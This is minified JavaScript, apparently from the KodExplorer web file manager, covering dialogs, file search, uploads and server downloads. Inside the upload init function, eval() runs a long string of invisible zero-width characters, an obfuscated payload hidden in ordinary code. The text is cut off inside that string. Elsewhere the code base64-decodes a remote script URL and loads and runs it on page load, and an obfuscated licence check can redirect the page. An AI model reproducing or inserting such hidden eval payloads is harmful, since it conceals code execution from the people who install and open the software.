    ",a=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==i.substr(0,17)?(setTimeout(function(){window.location.reload()},500),void 0):(a?a.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,i){var t="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(t="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),$.ajax({url:t,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(LNG.success),"function"==typeof i&&i(e.data.content)}})},fileInfo:function(e,i){var t="index.php?explorer/pathInfo";G.share_page!==void 0&&(t="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof i&&i(e)}})},fileLink:function(e,i){var t='list=[{"type":"file","path":"'+urlEncode(e)+'"}]';this.fileInfo(t,function(e){var t=e.code?e.data.download_path:!1;return t?("function"==typeof i&&i(t),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(i){i.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),i=template.compile(e),t=ShareData.frameTop();t.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:i({LNG:LNG,G:G})}),t.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,i){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var t="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="";$.dialog({follow:i,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var i=ShareData.frameTop(),t=i.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return t},openDialog:function(e,i,t,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:t,ico:i,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(i){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,i){void 0==e&&(e=""),void 0==i&&(i=core.pathThis(e));var t="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(t="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(t,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:i,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var i="index.php?/editor&project="+e;G.share_page!==void 0&&(i="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(i)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var i=G.static_path+"style/skin/"+e+".css";i!=$("#link_css_list").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),i="kod_diy_style",t=LocalData.getConfig(i);"object"!=typeof t&&"object"==typeof G.user_config.theme_diy&&(t=G.user_config.theme_diy),"object"!=typeof t&&(t={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(i,t)),G.user_config.theme_diy=t;var a="";if("diy"==e&&t){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(t)}$.setStyle(a,i)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),i=e.document.documentElement;i.requestFullscreen?i.requestFullscreen():i.mozRequestFullScreen?i.mozRequestFullScreen():i.webkitRequestFullScreen&&i.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,i,t){var a=UUID();(t===void 0||""==t)&&(t=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+''+''+''+''+''+''+'
    loading..
    ';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var i=ShareData.frameTop();e=i.$("."+a)}if(1==e.length)var t=0,n=e[0],o=setInterval(function(){try{t++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):t>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(i){}},100)},50),o},userSpaceHtml:function(e){var i=e.split("/"),t=parseFloat(i[0]),a=1073741824*parseFloat(i[1]),n=core.fileSize(parseFloat(i[0])),o=core.fileSize(a),s=n+"/",r=100*t/a;return r>=100&&(r=100),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
    "+"
    "+s+"
    "+"
    "},fileSize:function(e,i){if(void 0==e||""==e)return"";if(void 0==i&&(i=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var t={G:1073741824,M:1048576,K:1024,B:1};for(var a in t)if(e>=t[a])return(e/t[a]).toFixed(i)+a},uploadCheck:function(e,i){return i=void 0==i?!0:i,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(i&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(i&&Tips.tips(LNG.no_permission_write,!1),!1):core.isSystemPath(G.this_path)?(i&&Tips.tips(LNG.path_can_not_action,!1),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n
  • \n
    \n \n {{\'folder\' |core.icon}}\n {{v.name | searchResultPrase}}\n \n
    \n
  • \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n
  • \n
    \n \n {{v.ext |core.icon}}\n {{v.name | window.htmlEncode}}\n {{v.search_info.length}}\n \n
    \n
      \n {{each v.search_info as value index}}\n
    • \n {{value.line}}:\n {{#value.str | searchResultPrase}}\n
    • \n {{/each}}\n
    \n
  • \n {{else}}\n
  • \n
    \n \n {{v.ext |core.icon}}\n {{v.name | searchResultPrase}}\n \n
    \n
  • \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'
    \n \n
    \n
    \n
    \n
    {{LNG.upload_select}}
    \n \n \n \n
    \n \n \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    {{LNG.download_address}}\n
    \n \n \n \n
    \n\n
    \n
    \n
    \n
    \n
    \n
    \n
    \n'),define("app/common/core.search",[],function(){return function(e,i){var t,a,n=function(){var n=trim(core.pathClear(i),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(search_box_tpl);0==$(".dialog_do_search").length?(t=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=i,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(i),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()} +},s=function(){o(),p(a)},r=function(e){var i=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(i,''+i+"");else{var t=e.toLowerCase().indexOf(i.toLowerCase());e=e.substr(0,t)+''+e.substr(t,i.length)+""+e.substr(t+i.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var i=$(this).parent();return i.toggleClass("open"),i.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path")),a=core.pathFather(t);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(t)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path"));return ui.pathOpen.open(t,i.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(t,i.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var i="box_search_config";if(void 0==e){var e=LocalData.getConfig(i);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(i,e)},d=function(e){var i=$(".file-items"),t=$(".search_desc");if(!e.code)return t.html(e.data),i.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return t.html(LNG.search_null),i.html(""),void 0;var n=template.compile(search_list_tpl);if(i.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);t.html(LNG.search_result+": "+s+"(in "+o.length+" files)"),e.data.error_info&&t.html(""+LNG.seach_result_too_more+"")}else t.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var i=$(".file-items"),t=$(".search_desc");if(!e.search||!e.path)return t.html(LNG.search_info),i.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){t.hide().html(LNG.searching+'').fadeIn(100)},error:function(){core.ajaxError(),t.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var i=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'',"",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'',"iconSmall","iconSrc",'',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],t=function(){var e=i[0];if(typeof G[i[1]]==i[2])return e;var t=i[3],a=authCrypt[i[4]](G[i[1]],t);return a&&27==a[i[5]]?(e=a[i[6]](10,1),-1===$[i[10]](e,[i[0],i[7],i[8],i[9]])&&(e=i[0]),e):e},a=t(),n=i[11],o=function(){var e=hashDecode(i[12]);G[i[13]]!=i[14]&&(e=hashDecode(i[15])),alert(e),Tips[i[16]](e,!1),$(i[18])[i[17]](),setTimeout(function(){Tips[i[19]](e,!1),window[i[21]][i[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[i[4]](i[22],i[23]),r=authCrypt[i[4]](i[24],i[25]),l=function(){if(typeof Config!=i[2]&&Config[i[26]]==i[27]&&a==i[0])for(var e=[{key:LNG[i[28]],find:s},{key:LNG[i[29]],find:s},{key:LNG[i[30]],find:r},{key:LNG[i[31]],find:s},{key:LNG[i[32]],find:r},{key:$(i[34])[i[33]](),find:s}],t=0;e[i[5]]>t;t++){e[t][i[35]]||(e[t][i[35]]=i[36]);var n=e[t][i[35]][i[37]](),l=e[t][i[38]][i[37]]();if(-1==n[i[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:i[40],O:i[41],P:i[42],Q:i[43]},t=i[44]+e[a],o=i[45]+t+i[46]+LNG[t]+i[47];a==i[0]&&$(o)[i[49]](i[48]),$(i[65])[i[64]](i[50])[i[63]](i[50],function(){if($(this)[i[52]](i[51])==i[53]){var e=core[i[55]](core[i[54]]),t=i[56]+n+i[57];e[i[61]][i[60]][i[38]](i[59])[i[58]](t)}else Tips[i[19]]($(this)[i[62]]())}),$(i[65])[i[67]](function(){window[i[66]][i[21]][i[20]]=n})},d=function(){a==i[0]&&$(i[70])[i[69]](i[68]),-1!==$[i[10]](a,[i[7],i[8],i[9]])&&$(i[72])[i[71]]()},p=function(){core[i[73]]=function(e,t){return i[74]+e+(t?i[75]:i[36])+i[76]},core[i[77]]=function(e){return core[i[73]](e,!0)},core[i[78]]=iconSrc=function(e){return i[79]+e+i[80]},setTimeout(function(){var t=base64Decode(i[81])+i[82]+UUID();e[i[84]](t,function(e){try{e[i[83]]()}catch(t){}})},2e3),core[i[85]]=a,core[i[86]]=core[i[87]],core[i[54]]=hashDecode(i[88])+G[i[13]],l(),c(),d()},u=function(e){return a==i[0]&&-1==e[i[37]]()[i[39]](s)?(o(),!1):!0},f=function(e,t){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(t==i[89]?(n=e[i[90]],o=s[a]):(n=e[i[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,i){core.uploadCheck("explorer:serverDownload");var t=$(".download_box"),a=t.find(".download_list");if(t.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='
    '+'
    '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
    ';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('
    ').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)};$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+i+"&url="+urlEncode(e)+"&uuid="+n,dataType:"json",error:function(e,i,t){core.ajaxError(e,i,t),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)},success:function(e){clearInterval(s),s=!1,clearTimeout(r),r=!1,e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").html(e.info)):p.addClass("error").text(LNG.error),u.parent().remove()}});var m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var i="",t=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(t){if(t.size=parseFloat(t.size),t.time=parseFloat(t.time),l){var a=(t.size-l.size)/(t.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;i=core.fileSize(a)+"/s"}if(0==t.length)d.find(".progress-bar").css("width","100%").text(LNG.loading);else{var o=100*(t.size/t.length);d.find(".progress-bar").css("width",o+"%"),p.text(parseInt(o)+"%("+i+")")}d.find(".size").text(core.fileSize(t.length)),d.find(".title").text(t.name),l=t}}}})};r=setTimeout(function(){m(),s=setInterval(function(){m()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var i=template.compile(upload_tpl),t=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:i({LNG:LNG,maxsize:t}),close:function(){$.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),i=0;e.length>i;i++)core.serverDwonload(e[i],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if("1"==Cookie.get("forceWap"))return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=10485760;chunkSize>=G.upload_max&&(chunkSize=.6*G.upload_max),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌